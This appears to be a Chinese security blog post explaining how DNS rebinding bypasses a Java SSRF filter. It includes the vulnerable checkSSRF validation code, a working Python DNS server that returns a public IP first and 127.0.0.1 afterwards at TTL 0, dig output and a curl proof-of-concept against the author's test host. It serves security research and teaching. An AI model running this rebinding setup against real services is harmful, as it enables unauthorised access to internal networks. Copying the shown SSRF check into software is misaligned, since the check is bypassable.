Author: JoyChou@meili-inc

Mail: viarus#qq.com

0x00 前言

本篇文章会比较详细的介绍,如何使用DNS Rebinding绕过Java中的SSRF。网上有蛮多资料介绍用该方法绕过常规的SSRF,但是由于Java的机制和PHP等语言不太一样。所以,我觉得,有必要单独拿出来聊一聊,毕竟目前很多甲方公司业务代码都是Java。

0x01 SSRF修复逻辑

  1. 取URL的Host
  2. 取Host的IP
  3. 判断是否是内网IP,是内网IP直接return,不再往下执行
  4. 请求URL
  5. 如果有跳转,取出跳转URL,执行第1步
  6. 正常的业务逻辑里,当判断完成最后会去请求URL,实现业务逻辑。

所以,其中会发起DNS请求的步骤为,第2、4、6步,看来至少要请求3次。因为第6步至少会执行1次DNS请求。

另外,网上有很多不严谨的SSRF修复逻辑不会判断跳转,导致可以被Bypass。

0x02 DNS Rebinding

我个人理解如下:

通过自己搭建DNS服务器,返回自己定义的IP,进行一些限制的绕过。所以,我们可以利用DNS Rebinding在第一次发起DNS请求时,返回外网IP,后面全部返回内网IP 这种方式来绕过如上的修复逻辑。我们来看下是如何绕过的。

首先,修复逻辑中第2步发起DNS请求,DNS服务器返回一个外网IP,通过验证,执行到第四步。

接着,修复逻辑中第4步会发起DNS请求,DNS服务器返回一个内网IP。此时,SSRF已经产生。

TTL

不过,这一切都是在TTL为0的前提下。什么是TTL?

TTL(Time To Live)是DNS缓存的时间。简单理解,假如一个域名的TTL为10s,当我们在这10s内,对该域名进行多次DNS请求,DNS服务器,只会收到一次请求,其他的都是缓存。

所以搭建的DNS服务器,需要设置TTL为0。如果不设置TTL为0,第二次DNS请求返回的是第一次缓存的外网IP,也就不能绕过了。

DNS请求过程

步骤如下:

  1. 查询本地DNS服务器(/etc/resolv.conf)
  2. 如果有缓存,返回缓存的结果,不继续往下执行
  3. 如果没有缓存,请求远程DNS服务器,并返回结果

DNS缓存机制

平时使用的MAC和Windows电脑上,为了加快HTTP访问速度,系统都会进行DNS缓存。但是,在Linux上,默认不会进行DNS缓存(https://stackoverflow.com/questions/11020027/dns-caching-in-linux) ,除非运行nscd等软件。不过,知道Linux默认不进行DNS缓存即可。这也解释了,我为什么同样的配置,我在MAC上配置不成功,Linux上配置可以。需要注意的是,IP为8.8.8.8的DNS地址,本地不会进行DNS缓存。

0x03 漏洞测试

准备如下环境:

我们要先了解下Java应用的TTL。Java应用的默认TTL为10s,这个默认配置会导致DNS Rebinding绕过失败。也就是说,默认情况下,Java应用不受DNS Rebinding影响。Java TTL的值可以通过下面两种方式进行修改:

  1. 修改/Library/Java/JavaVirtualMachines/jdk1.8.0_121.jdk/Contents/Home/jre/lib/security/java.security(我MAC下的路径)里的networkaddress.cache.negative.ttl=0
  2. 通过代码进行修改java.security.Security.setProperty("networkaddress.cache.negative.ttl" , "0");

这个地方是个大坑,我之前在测试时,一直因为这个原因,导致测试不成功。这也是利用DNS Rebinding过程中,Java和PHP不一样的地方。在测试PHP时,这份PHP代码用DNS Rebinding可以绕过,类似的代码Java就不能被绕过了。

SSRF漏洞搭建

用Java Spring写了一个漏洞测试地址为http://test.joychou.org:8080/checkssrf?url=http://dns_rebind.joychou.me。URL会进行SSRF验证。SSRF修复代码如下。也可以在Github上查看https://github.com/JoyChou93/trident

/*
        * check SSRF (判断逻辑为判断URL的IP是否是内网IP)
        * 如果是内网IP,返回false,表示checkSSRF不通过。否则返回true。即合法返回true
        * URL只支持HTTP协议
        * 设置了访问超时时间为3s
     */
    public static Boolean checkSSRF(String url) {

        HttpURLConnection connection;
        String finalUrl = url;
        try {
            do {
                // 判断当前请求的URL是否是内网ip
                Boolean bRet = isInnerIpFromUrl(finalUrl);
                if (bRet) {
                    return false;
                }

                connection = (HttpURLConnection) new URL(finalUrl).openConnection();
                connection.setInstanceFollowRedirects(false);
                connection.setUseCaches(false); // 设置为false,手动处理跳转,可以拿到每个跳转的URL
                connection.setConnectTimeout(3*1000); // 设置连接超时时间为3s
                //connection.setRequestMethod("GET");
                connection.connect(); // send dns request
                int responseCode = connection.getResponseCode(); // 发起网络请求 no dns request
                if (responseCode >= 300 && responseCode < 400) {
                    String redirectedUrl = connection.getHeaderField("Location");
                    if (null == redirectedUrl)
                        break;
                    finalUrl = redirectedUrl;
                    // System.out.println("redirected url: " + finalUrl);
                } else
                    break;
            } while (connection.getResponseCode() != HttpURLConnection.HTTP_OK);
            connection.disconnect();
        } catch (Exception e) {
            return true;
        }
        return true;
    }

    /*
        内网IP:
        10.0.0.1 - 10.255.255.254       (10.0.0.0/8)
        192.168.0.1 - 192.168.255.254   (192.168.0.0/16)
        127.0.0.1 - 127.255.255.254     (127.0.0.0/8)
        172.16.0.1 - 172.31.255.254     (172.16.0.0/12)
    */
    public static boolean isInnerIp(String strIP) throws IOException {
        try{
            String[] ipArr = strIP.split("\\.");
            if (ipArr.length != 4){
                return false;
            }

            int ip_split1 = Integer.parseInt(ipArr[1]);

            return (ipArr[0].equals("10") ||
                    ipArr[0].equals("127") ||
                    (ipArr[0].equals("172") && ip_split1 >= 16 && ip_split1 <=31) ||
                    (ipArr[0].equals("192") && ipArr[1].equals("168")));
        }catch (Exception e) {
            return false;
        }

    }
    /*
        * 域名转换为IP
        * 会将各种进制的ip转为正常ip
        * 167772161转换为10.0.0.1
        * 127.0.0.1.xip.io转换为127.0.0.1
    */
    public static String DomainToIP(String domain) throws IOException{
        try {
            InetAddress IpAddress = InetAddress.getByName(domain); //  send dns request
            return IpAddress.getHostAddress();
        }
        catch (Exception e) {
            return "";
        }
    }

    /*
        从URL中获取域名
        限制为http/https协议
    */
    public static String getUrlDomain(String url) throws IOException{
        try {
            URL u = new URL(url);
            if (!u.getProtocol().startsWith("http") && !u.getProtocol().startsWith("https")) {
                throw new IOException("Protocol error: " + u.getProtocol());
            }
            return u.getHost();
        } catch (Exception e) {
            return "";
        }

    }

搭建DNS服务器

域名配置如下:

1036070180445339658

此时,当访问dns_rebind.joychou.me域名,先解析该域名的DNS域名为ns.joychou.mens.joychou.me指向47这台服务器。

DNS Server代码如下,放在47服务器上。其功能是将第一次DNS请求返回35.185.163.135,后面所有请求返回127.0.0.1

dns.py

from twisted.internet import reactor, defer
from twisted.names import client, dns, error, server
record={}
class DynamicResolver(object):
    def _doDynamicResponse(self, query):
        name = query.name.name
        if name not in record or record[name]<1:
            ip = "35.185.163.135"
        else:
            ip = "127.0.0.1"
        if name not in record:
            record[name] = 0
        record[name] += 1
        print name + " ===> " + ip
        answer = dns.RRHeader(
            name = name,
            type = dns.A,
            cls = dns.IN,
            ttl = 0,
            payload = dns.Record_A(address = b'%s' % ip, ttl=0)
        )
        answers = [answer]
        authority = []
        additional = []
        return answers, authority, additional
    def query(self, query, timeout=None):
        return defer.succeed(self._doDynamicResponse(query))
def main():
    factory = server.DNSServerFactory(
        clients=[DynamicResolver(), client.Resolver(resolv='/etc/resolv.conf')]
    )
    protocol = dns.DNSDatagramProtocol(controller=factory)
    reactor.listenUDP(53, protocol)
    reactor.run()
if __name__ == '__main__':
    raise SystemExit(main())

运行python dns.py,dig查看下返回。

➜  security dig @8.8.8.8 dns_rebind.joychou.me

; <<>> DiG 9.8.3-P1 <<>> @8.8.8.8 dns_rebind.joychou.me
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 40376
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
;dns_rebind.joychou.me.     IN  A

;; ANSWER SECTION:
dns_rebind.joychou.me.  0   IN  A   35.185.163.135

;; Query time: 203 msec
;; SERVER: 8.8.8.8#53(8.8.8.8)
;; WHEN: Fri Sep  8 14:52:43 2017
;; MSG SIZE  rcvd: 55

➜  security dig @8.8.8.8 dns_rebind.joychou.me

; <<>> DiG 9.8.3-P1 <<>> @8.8.8.8 dns_rebind.joychou.me
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 14172
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
;dns_rebind.joychou.me.     IN  A

;; ANSWER SECTION:
dns_rebind.joychou.me.  0   IN  A   127.0.0.1

;; Query time: 172 msec
;; SERVER: 8.8.8.8#53(8.8.8.8)
;; WHEN: Fri Sep  8 14:52:45 2017
;; MSG SIZE  rcvd: 55

可以看到第一次返回35.185.163.135,第二次返回127.0.0.1。 dig加上@8.8.8.8是指定本地DNS地址为8.8.8.8,因为该地址不会有缓存。每dig一次,DNS Server都会收到一次请求。

绕过POC

curl 'http://test.joychou.org:8080/checkssrf?url=http://dns_rebind.joychou.me'

返回test.joychou.org页面内容It works.在测试时,我把该服务器的80端口已经限制为只有本地能访问,所以,我们的POC已经绕过内网的限制。

0x04 总结

0x05 参考

  1. http://blog.csdn.net/u011721501/article/details/54667714
  2. https://stackoverflow.com/questions/11020027/dns-caching-in-linux
  3. https://bobao.360.cn/learning/detail/3074.html
  4. https://github.com/chengable/safe_code/blob/master/ssrf_check.php

 

源链接

Hacking more

...